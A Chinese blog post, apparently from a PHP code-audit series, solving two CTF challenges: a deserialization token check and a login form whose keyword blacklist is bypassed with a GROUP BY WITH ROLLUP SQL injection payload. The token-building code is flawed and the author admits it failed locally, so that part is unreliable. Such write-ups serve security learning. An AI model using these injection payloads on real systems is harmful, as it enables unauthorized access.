03 多重加密

源代码为:

<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
} if(isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值 $db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
} ?>

这道题目直接部署的话会有一些配置问题,根据报错修改了配置文件之后,在同目录文件夹下创建了common.php,设置$flag=123456

可以看到获取flag的操作为:

if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}

当$login['user']==='ichunqiu'的时候,就输出flag,继续往上看$login的赋值位置

$login = unserialize(gzuncompress(base64_decode($requset['token'])));

进行了base64解密,gzuncompress字符串压缩和字符串反序列化。

而$requset的赋值在:

$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);

将从GET,POST或者COOKIE中获取到的值合并到request里面

为了满足:

$login['user'] === 'ichunqiu'

我们需要令

$token=array(['user']==='ichunqiu');

然后再对其进行相应的加密,最后的token为:

$token=array(['user']==='ichunqiu');
$token=base64_encode(gzcompress(serialize($token)));
echo $token;

得到payload为:

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

最后本地输出还是有问题,就写写解题思路趴

04 SQL注入_WITH ROLLUP绕过

源代码为:

<?php
error_reporting(0); if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
} function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){ //检测变量是否是数组 $StrValue=implode($StrValue); //返回由数组元素组合成的字符串 }
if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配 print "水可载舟,亦可赛艇!";
exit();
}
} $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter);
} $con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con); //设置活动的 MySQL 数据库 $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //执行一条 MySQL 查询 if (mysql_num_rows($query) == 1) { //返回结果集中行的数目 $key = mysql_fetch_array($query); //返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

本地环境的原因,只能直接分析代码了。

首先是登录框POST输入用户名和密码

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}

然后对POST的值使用AttackFilter函数进行过滤

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ //遍历数组 AttackFilter($key,$value,$filter);
}

AttackFilter函数为:

function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){ //检测变量是否是数组 $StrValue=implode($StrValue); //返回由数组元素组合成的字符串 }
if (preg_match("/".$ArrReq."/is",$StrValue)==1){ //匹配成功一次后就会停止匹配 print "水可载舟,亦可赛艇!";
exit();
}
}

匹配到了黑名单中的元素时就会退出

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);

这里是链接本地数据库的操作,接着查询输入的uname的相关数据

$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);

返回结果集中行的数目为1,才能进入if,也就是说interest表中不止一行,然后将值赋给$key

if (mysql_num_rows($query) == 1) { 

//返回结果集中行的数目

    $key = mysql_fetch_array($query);

如果输入的密码和数据库中的密码是相同的就输出flag,否则输出提示信息

    if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>

这里使用到的绕过技巧是GROUP BY WITH ROLLUP

关于函数的介绍可以看这个:

https://blog.csdn.net/id19870510/article/details/6254358

分组后会多一行进行统计,而多出的一行的pwd会是NULL!而user会是数据库表中已存在的字段。

因为存在限制

mysql_num_rows($query) == 1

所以我们使用

limit m offset n
m: 展示m条
n: 跳过n条

来筛选出每一条数据,直到筛选出为user存在,pwd为空的那一行

最终的payload为:

1' or 1 group by pwd with rollup limit 1 offset 2#

而密码栏不需要输入,不输入则为NULL,在该位置:

if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";

即可满足条件输出flag

参考链接:

http://www.bubuko.com/infodetail-2169730.html

https://blog.csdn.net/qq_35078631/article/details/54772798

https://blog.csdn.net/id19870510/article/details/6254358

PHP代码审计分段讲解(2)的更多相关文章

  1. PHP代码审计分段讲解(14)

    30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...

  2. PHP代码审计分段讲解(13)

    代码审计分段讲解之29题,代码如下: <?php require("config.php"); $table = $_GET['table']?$_GET['table']: ...

  3. PHP代码审计分段讲解(11)

    后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...

  4. PHP代码审计分段讲解(1)

    PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...

  5. PHP代码审计分段讲解(12)

    28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...

  6. PHP代码审计分段讲解(10)

    26 unserialize()序列化 <!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php --> <?ph ...

  7. PHP代码审计分段讲解(9)

    22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...

  8. PHP代码审计分段讲解(8)

    20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...

  9. PHP代码审计分段讲解(7)

    17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...

  10. PHP代码审计分段讲解(6)

    14 intval函数四舍五入 <?php if($_GET[id]) { mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_M ...

随机推荐

  1. 为什么继承 Python 内置类型会出问题?!

    本文出自"Python为什么"系列,请查看全部文章 不久前,Python猫 给大家推荐了一本书<流畅的Python>(点击可跳转阅读),那篇文章有比较多的"溢 ...

  2. BATJTMD,大厂招聘,都招什么样Java程序员?

    作者:小傅哥 博客:https://bugstack.cn 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 Java学到什么程度可以找工作? 最近总看到类似这样的问题,也有一些工作3年左右的小 ...

  3. linux nf_conntrack 连接跟踪机制 3-hook

    conntrack hook函数分析 enum nf_ip_hook_priorities { NF_IP_PRI_FIRST = INT_MIN, NF_IP_PRI_CONNTRACK_DEFRA ...

  4. python实战GUI界面+mysql

    前言 前面用tkinter做了一个巨丑的GUI界面,今天想把它变漂亮起来,重新找回page做了一个界面,它也是基于tkinter开发的所见即所得的界面编辑器,前面因为代码搞不明白没用上,现在重新研究一 ...

  5. Python_编码错误解决办法 python3 UnicodeEncodeError: 'gbk' codec can't encode character '\xXX' in position XX

    先说解决办法:头部加几行代码 import io import sys sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='gb1803 ...

  6. webpack : 无法加载文件 C:\Users\Eileen\AppData\Roaming\npm\webpack.ps1,因为在此系统上禁止运行脚本

    报错内容: webpack : 无法加载文件 C:\Users\Eileen\AppData\Roaming\npm\webpack.ps1,因为在此系统上禁止运行脚本.有关详细信息,请参阅 http ...

  7. 蓝鲸平台开启consul.conf UI界面

    #第一步: vi /data/bkce/etc/supervisor-consul.conf 修改参数: command=/usr/bin/consul agent -config-file=/dat ...

  8. EasyRecovery帮您轻松拯救办公室断电后的文件丢失

    故事要从半个月前说起,某天中午,社畜小编得到了上头的传令,要为即将到来的双十一狂欢节写一个活动策划案. 想着时间也不是很充裕,还要留一些时间修修补补,于是小编连续三天挑灯夜战,终于在某天周五的晚上把策 ...

  9. 思维导图MindManager流程图有哪些功能

    流程图是思维导图中的一种图表,应用相当广泛.MindManager 2020作为专业的思维导图软件,更加强了流程图的功能,让用户能使用更加简便的MindManager技巧绘制流程图.接下来,就让我们一 ...

  10. celery原理与组件

    1.Celery介绍 https://www.cnblogs.com/xiaonq/p/11166235.html#i1 1.1 celery应用举例 Celery 是一个 基于python开发的 分 ...